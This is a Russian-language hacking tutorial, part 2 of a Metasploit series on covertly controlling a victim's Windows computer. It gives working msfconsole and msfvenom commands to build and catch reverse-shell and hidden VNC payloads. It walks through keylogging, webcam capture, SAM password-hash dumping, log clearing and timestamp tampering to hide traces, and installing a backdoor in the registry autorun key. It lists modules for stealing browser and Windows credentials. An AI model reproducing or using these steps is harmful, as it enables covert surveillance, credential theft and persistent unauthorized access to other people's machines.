Скрытое управление компьютером на Windows (используя Metasploit). Часть 2
Life-Hack [Жизнь-Взлом]/Хакинг10. Работа с бэкдорами в Metasploit
На «атакующей» машине запускаем Metasploit:
msfconsole
Далее
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp
Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою.
Нужно установить настройки – IP и порт локальной машины:
set LHOST 192.168.0.196 set LPORT 4444
Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444.
Когда настройки сделаны, запустите выполнение модуля:
run

Теперь на «цели» запустите исполнимый файл с полезной нагрузкой. Как только это будет сделано, бэкдор подключится к машине атакующего и откроется сессия meterpreter:

11. Основы работы в Meterpreter (Meta-Interpreter)
Для показа справки наберите ? или help. Разнообразных команд много. Думаю, стоит затратить время, чтобы ознакомится с ними со всеми. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:
webcam_snap -h

Основные команды:
Команда Описание ------- ----------- ? Справка background Перевести в фон текущую сессию bgkill Убивает фоновый скрипт meterpreter bglist Список запущенных в фоне скриптов bgrun Выполнить скрипт meterpreter как фоновый процесс channel Показывает информацию или управляет активными каналами close Закрыть канал disable_unicode_encoding Отключает кодирование unicode строк enable_unicode_encoding Включает кодирование unicode строк exit Прекращает сессию meterpreter get_timeouts Получает значение таймаута текущей сессии help Справка info Показывает информацию о модуле Post irb Перебрасывает в скриптовый режим irb load Загружает один или более расширений meterpreter machine_id Получить MSF ID прикреплённой к сессии машины migrate Перенастроить сервер на другой процесс quit Прекратить сессию meterpreter read Считывает данные из канала resource Запуск команд, сохранённых в файл run Выполнить скрипт meterpreter или модуль Post sessions Быстро переключиться на другой сеанс set_timeouts Установить значение таймаута текущего сеанса sleep Заставить Meterpreter замолчать, а затем восстановить сеанс. transport Изменение текущего механизма передачи use Устаревший псевдоним для 'load' uuid Получить UUID текущего сеанса write Записать данные в канал
Итак, с помощью ключевых команд мы можем автоматизировать процесс (выполнять команды из файла), записывать данные в канал, для последующего использования, выполнять долгие задачи в фоне. Особенно обратим внимание на команды info и run – первая покажет информацию об интересующем модуле последующей эксплуатации, а вторая запустит выбранный модуль – к этим вопросам мы вернёмся позже.
Рассмотрим команды файловой системы, некоторые из них имеют одинаковые названия с аналогичными командами в оболочке Linux:
Команда Описание ------- ----------- cat Вывести содержимое файла на экран cd Сменить директорию checksum Получить контрольную сумму файла cp Скопировать файл/директорию в другое место dir Вывести список файлов (псевдоним для ls) download Загрузить файл или директорию edit Отредактировать файл getlwd Вывести локальную рабочую директорию getwd Вывести рабочую директорию lcd Изменить локальную рабочу директорию lpwd Вывести локальную рабочую директорию ls Показать список файлов mkdir Создать директорию mv Переместить файл/директорию в другое место pwd Вывести рабочую директорию rm Удалить указанный файл rmdir Удалить директорию search Поиск файлов show_mount Вывести всех точек монтирования/логических дисков upload Выгрузить файл или директорию
Например, я хочу на удалённый компьютер выгрузить файл driver_dlya_tvoego_computera.exe:
upload driver_dlya_tvoego_computera.exe

Просматриваем список файлов на удалённом компьютере и загружаем с него файл allen.zip:
ls download allen.zip

Сетевые команды:
Команда Описание ------- ----------- arp Показать ARP кэш хоста getproxy Показать текущие настройки прокси ifconfig Показать интерфейсы ipconfig Показать интерфейсы netstat Показать сетевые соединения portfwd Перенаправить локальный порт на удалённую службу resolve Сделать запросы с цели на преобразование одного или нескольких имён хостов route Просмотр и изменение таблицы маршрутизации
Системные команды:
Команда Описание ------- ----------- clearev Очистить журнал событий drop_token Отбрасывает любой активный токен имперсонализации. execute Выполнить команду getenv Получить значение одной или более переменных окружения getpid Получить идентификатор текущего процесса getprivs Попытаться включить все привилегии, доступные для текущего процесса getsid Получение SID пользователя getuid Получение имени пользователя kill Завершить процесс localtime Показать локальную дату и время целевой системы pgrep Фильтрация процессов по имени pkill Завершить процесс по имени ps Список запущенных процессов reboot Перезагрузить удалённый компьютер reg Изменение и взаимодействие с удалённым регистром rev2self Вызов RevertToSelf() на удалённой машине shell Перейти в системную командную оболочку shutdown Отключить удалённый компьютер steal_token Попытаться украсть impersonation token из целевого процесса suspend Приостанавливает или возобновляет список процессов sysinfo Получает информацию об удалённой системе, такую как вид ОС
Системные команды позволяют получить доступ к удалённой оболочке, что даёт возможность непосредственно вводить команды, позволяют завершать процессы, выключать или перезагружать компьютер, выполнять команды уровня ОС, а также собирать информацию и заметать следы.
Команды пользовательского интерфейса:
Команда Описание ------- ----------- enumdesktops Список всех доступных рабочих столов и оконных станций getdesktop Получить текущий рабочий стол meterpreter idletime Возвращает количество секунд отсутствия активности удалённого пользователя keyscan_dump Дамп буфера нажатия клавиш keyscan_start Запустить захват нажатие клавиш keyscan_stop Остановить захват нажатия клавиш screenshot Получение скриншота интерактивного рабочего стола setdesktop Изменение текущего рабочего стола meterpreters uictl Контроль некоторых компонентов пользовательских интерфейсов
Данный набор команд позволяет делать скриншоты с удалённого компьютера, отключать и включать мышь, клавиатуру, следить на нажатыми пользователем клавишами.
Для начала захвата нажатия клавиш введите:
keyscan_start
Чтобы посмотреть, какие клавиши и в каких программах ввёл пользователь выполните:
keyscan_dump

Команды для управления веб-камерой:
Команда Описание ------- ----------- record_mic Запись аудио со стандартного микрофона в течение X секунд webcam_chat Начать видеочат webcam_list Вывести список веб-камер webcam_snap Сделать снимок указанной веб-камерой webcam_stream Запустить выдиопоток с выбранной веб-камеры
На мой взгляд, очень интересные функции. Чтобы проверить, имеет ли компьютер жертвы веб-камеры выполните
webcam_list
В моём случае обнаружена одна веб-камера SC-20FHL11146M, чтобы сделать с неё снимок набираю (замените имя веб-камеры):
webcam_snap SC-20FHL11146M
Будет сделана и показана фотография с веб-камеры удалённого компьютера.

Команды вывода аудио:
Команда Описание ------- ----------- play воспроизвести аудио файл на целевой системе, на диск ничего не записывается
Команды повышения привилегий:
Команда Описание ------- ----------- getsystem Пытается поднять ваши привилегии на данной локальной системе.
Команда для работы с базой данных паролей:
Команда Описание ------- ----------- hashdump Дампит содержимое базы данных SAM
Команды для работы с Timestomp (временными метками файла):
Команда Описание ------- ----------- timestomp Манипуляция файловыми атрибутами MACE
Чтобы замести следы, иногда может быть полезным изменить атрибуты MACE (запись изменения, доступа, создания) файла.
12. Скрытый доступ к удалённому рабочему столу (VNC)
Для скрытого доступа к удалённому рабочему столу посредством VNC нужно выбрать полезную нагрузку, содержащую слово vncinject, к примеру, такой полезной нагрузкой является windows/vncinject/reverse_tcp:
msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.0.196 -f exe -o vnc.exe
Далее запустите Metasploit (если вы это ещё не сделали):
msfconsole
Внутри Metasploit:
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index set payload windows/vncinject/reverse_tcp set lhost 192.168.0.196 set rhost 192.168.0.244 run
Обратите внимание, что в отличие от работы с Meterpreter, мы используем exploit/windows/smb/ms09_050_smb2_negotiate_func_index. Также нам необходимо установить IP адрес удалённого хоста (set rhost 192.168.0.244).
После запуска эксплойта, запустите исполнимый файл с полезной нагрузкой на компьютере жертвы. Вы увидите удалённый рабочий стол компьютера жертвы.
В качестве альтернативы, можно использовать 64-битную версию полезной нагрузки: windows/x64/vncinject/reverse_tcp.
На машине атакующего должен быть установлен VNC клиент (просмотрщик).
13. Закрепление доступа
До недавнего времени для закрепления доступа – создания бэкдора, который запускается при каждой загрузки системы – использовался скрипт persistence:
run persistence -h
Но в настоящее время скрипты Meterpreter считаются устаревшими, поэтому рекомендуется использовать модуль post/windows/manage/persistence_exe. Это Windows Manage Persistent EXE Payload Installer, т.е. установщик постоянной полезной нагрузки EXE в Windows.
Этот модуль выгрузит на удалённый хост исполнимый файл и сделает его постоянным – т.е. скопирует в определённое место и добавит ключ в реестр Windows для автоматического запуска при каждом старте Windows. Он может быть установлен как USER, SYSTEM или SERVICE. При выборе USER, программа запустится при входе пользователя; при выборе SYSTEM – запустится при загрузке системы, для этого требуются соответствующие привилегии; при выборе SERVICE будет создана служба, которая запустит полезную нагрузку, также требуются привилегии.
Опции модуля:
Имя Текущее значение Требуется Описание ---- --------------- -------- ----------- REXENAME default.exe да Имя exe файла на удалённой системе REXEPATH да Файл, который нужно загрузить на удалённую систему SESSION да Сессия, на которой запустить этот модуль STARTUP USER да Тип запуска постоянной нагрузки. (Варианты: USER, SYSTEM, SERVICE)
Пример запуска
run post/windows/manage/persistence_exe REXEPATH=/local/path/to/your/payload.exe REXENAME=default.exe STARTUP=SYSTEM
Эта команда означает, что на удалённый хост будет выгружен файл payload.exe, который на локальной системе размещён по пути /local/path/to/your/payload.exe, этот файл на удалённой системе будет переименован в default.exe и будет запущен с системными привилегиями.
Ещё один пример:
run post/windows/manage/persistence_exe REXEPATH=/home/mial/backdoor2.exe

Модуль вывел следующую информацию:
[*] Running module against MIAL-PC [*] Reading Payload from file /home/mial/backdoor2.exe [+] Persistent Script written to C:\Users\Alex\AppData\Local\Temp\default.exe [*] Executing script C:\Users\Alex\AppData\Local\Temp\default.exe [+] Agent executed with PID 6572 [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ [*] Cleanup Meterpreter RC File: /home/mial/.msf4/logs/persistence/MIAL-PC_20170519.0352/MIAL-PC_20170519.0352.rc
Т.е. на удалённой системе файл сохранён по пути C:\Users\Alex\AppData\Local\Temp\default.exe, для автозапуска сделана запись в реестре Windows по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ.

14. Модули последующей эксплуатации Metasploit
post/windows/manage/persistence_exe – это всего лишь один из модулей последующей эксплуатации, которые присутствуют в Metasploit для Windows.
Некоторые примеры:
- post/windows/gather/enum_chrome – извлечение чувствительной информации из веб-браузера Google Chrome
- post/windows/gather/credentials/total_commander – извлечение паролей из Total Commander
- post/windows/escalate/screen_unlock – разблокировка экрана Windows (будьте осторожны с этим модулем)
- post/windows/gather/phish_windows_credentials – фишинговая атака на учётные данные Windows
Количество модулей достаточно велико:

Все эти модули можно применять во время сеанса Meterpreter.
15. Когда обратный шелл не нужен
Если вы можете установить бэкдор на целевой компьютер, то вполне возможно, что вам подойдут другие альтернативы, а обратный шелл просто не нужен. Например, если на целевой машине уже запущен SSH сервер, то вы можете попытаться добавить к нему нового пользователя и использовать его.
Если целевая машина – это веб-сервер, который поддерживает на стороне сервера язык программирования, то вы можете оставить бэкдор на этом языке. Например, многие сервера Apache поддерживают PHP, в этом случае вы можете использовать PHP "web shell". IIS сервера обычно поддерживают ASP, или ASP.net. Metasploit Framework предлагает полезные нагрузки на всех этих языках (и многих других).
Аналогично для VNC, удалённого рабочего стола, SMB (psexec), других инструментов удалённого администрирования и т.д.
16. Заключение
Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.
В целом это обзорная статья, цель которой – показать некоторые возможности Metasploit. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.